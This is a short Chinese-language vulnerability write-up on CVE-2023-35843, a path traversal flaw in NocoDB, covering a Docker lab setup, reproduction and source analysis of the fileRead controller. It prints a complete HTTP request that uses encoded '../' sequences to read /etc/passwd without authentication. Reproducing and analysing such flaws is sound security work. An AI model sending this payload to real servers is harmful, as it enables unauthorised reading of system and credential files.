漏洞简介
NocoDB是Airtable的开源替代品,将 MySQL、PostgreSQL、SQL Server、SQLite 或 MariaDB 转换为智能电子表格。NocoDB 存在路径遍历漏洞,允许未经身份验证的攻击者通过操纵路由的参数来访问服务器上的任意文件。CVE-2023-35843 中,攻击者可构造恶意请求,遍历读取系统上的文件,造成敏感信息泄漏。
环境搭建
利用 docker 来搭建环境,比较方便,而且可以进行多版本的比较
漏洞复现
经过测试发现,在最新版本上仍然存在这个问题
GET /download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: 127.0.0.1:32768
Origin: http://127.0.0.1:32768
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.9,*/*;q=0.8
Purpose: prefetch
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:32768/dashboard/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Tue, 18 Apr 2023 10:18:09 GMT
Connection: close
简单分析
nocodb/packages/nocodb/src/controllers/attachments.controller.ts#fileRead
fileRead 函数负责从请求 URL 中获取path
参数,将其附加到固定路径,然后使用 来attachmentService
根据提供的路径参数检索附件文件。
nocodb/packages/nocodb/src/lib/controllers/attachment.ctl.ts#fileRead
攻击者可以通过制作特定的 URL 来利用此漏洞,利用../
来实现目录穿越,访问到设定目录之外的文件信息。